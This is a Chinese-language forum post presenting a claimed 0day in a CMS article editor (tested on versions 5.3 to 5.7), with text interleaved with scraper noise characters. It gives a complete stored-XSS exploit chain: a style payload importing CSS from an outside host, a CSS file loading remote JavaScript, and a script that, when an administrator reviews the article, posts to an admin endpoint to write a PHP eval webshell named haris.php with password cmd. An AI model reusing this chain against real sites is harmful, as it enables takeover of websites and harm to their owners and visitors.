<DIV id=read_tpc mb10?>漏洞原因:由于编辑器过滤不严,将导致恶意脚本运行。可getshell
4 L- u1 q& A, @$ G# r3 z为什么说它是ODay呢,能getshell的都算OD把`(鸡肋发挥起来也能变凤凰)
7 ~, C' @" J' c1 |( g目前只是测试过5.3到5.7版本。其他更早的版本大家就自由发挥吧。+ ?# ~# q$ Z, }5 B8 u! }1 m% I6 G1 O
下面说说利用方法。
- s- I) v, g, U6 u4 Q# n条件有2个:+ c7 S" f0 \ q5 n5 n
1.开启注册8 U: J8 c( G' X5 y
2.开启投稿. ^/ |3 s( L0 X9 [6 E |) g9 w& K
注册会员----发表文章& b: N+ |! J! O. ?' s
内容填写:
2 \7 J$ U. G0 v5 B6 j6 C6 I复制代码. P3 a! G% K* c+ B/ ^- n
<style>@im\port'\http://xxx.com/xss.css';</style>) J, l7 @* a$ t( `% ^9 o
新建XSS.Css0 I: R8 ^* i% L$ m5 x- ~
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$ b1 ]+ i/ G5 t# m.body{6 q3 m* S' ^' G5 O- {; n8 D
background-image:url('javascript:document.write("<script src=http://xxx.com/xss.js></script>")') }
. i; P. R; i: K新建xss.js 内容为$ q2 m4 p. N/ O$ E0 d& h7 R
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0 n+ L0 R' Z% q+ _- x0 A0 a1.var request = false;
L# G; ?/ T3 @9 {) O# o( c2.if(window.XMLHttpRequest) {! G% R+ \% O/ M+ e% Y6 ]
3.request = new XMLHttpRequest();
4 K# I7 v" @4 P4.if(request.overrideMimeType) {
$ ? r' @9 _% T s5.request.overrideMimeType('text/xml');
# o& t: X3 \- F) T6.}
& r6 `# a$ O/ b- G2 F$ n# a& H7.} else if(window.ActiveXObject) {5 y! M. c( r& q- t
8.var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];7 L, a$ n" Z. Y, p8 V [
9.for(var i=0; i<versions.length; i++) {
S7 F( G9 I' K. E; }# d6 o10.try {
. N8 e5 L# E. z8 C- @8 X W2 E11.request = new ActiveXObject(versions);
8 X" X* c: D8 A( Z+ X9 _& D12.} catch(e) {}4 F2 q. B: e5 |' E/ X7 Y1 z5 Q+ l
13.}
% C) Q0 h9 G2 h& w* f( J0 H14.}
+ S# [ z. E' x9 s15.xmlhttp=request;
3 z" x1 ^3 _7 u$ N3 m, m16.function getFolder( url ){
0 S5 h" [- U0 H+ j0 ]17. obj = url.split('/')) \6 R( M) n! u3 v
18. return obj[obj.length-2]3 c% ^8 N: b; ?6 |$ r
19.}
6 r6 g" w" z" [' t3 v& T20.oUrl = top.location.href;
7 p& W1 _3 M# C" A+ A' N; f21.u = getFolder(oUrl);6 z7 K6 ?4 o, P3 c
22.add_admin();
, [2 i* d7 }( P- t) ]23.function add_admin(){
{. g4 }+ E& A" L2 Y" [% S24.var url= "/"+u+"/sys_sql_query.php";7 Q3 v! u$ D# ]6 m
25.var params ="fmdo=edit&backurl=&activepath=%2Fdata&filename=haris.php&str=<%3Fphp+eval%28%24_POST%5Bcmd%5D%29%3F>&B1=++%E4%BF%9D+%E5%AD%98++";
" v2 v) F! K" _26.xmlhttp.open("POST", url, true);
) H5 P9 W( J2 @2 T: y, ]' W27.xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");$ Z: K8 |4 M: U
28.xmlhttp.setRequestHeader("Content-length", params.length);- S! \& h1 b0 h1 a% h% `
29.xmlhttp.setRequestHeader("Connection", "Keep-Alive");
. b f1 N8 ?9 O# b) C7 n; k4 l30.xmlhttp.send(params);" D4 b, i2 J& r$ v! D
31.}
7 s" d6 D+ w- B7 C8 p- s当管理员审核这篇文章的时候,将自动在data目录生成一句话haris.php。密码cmd |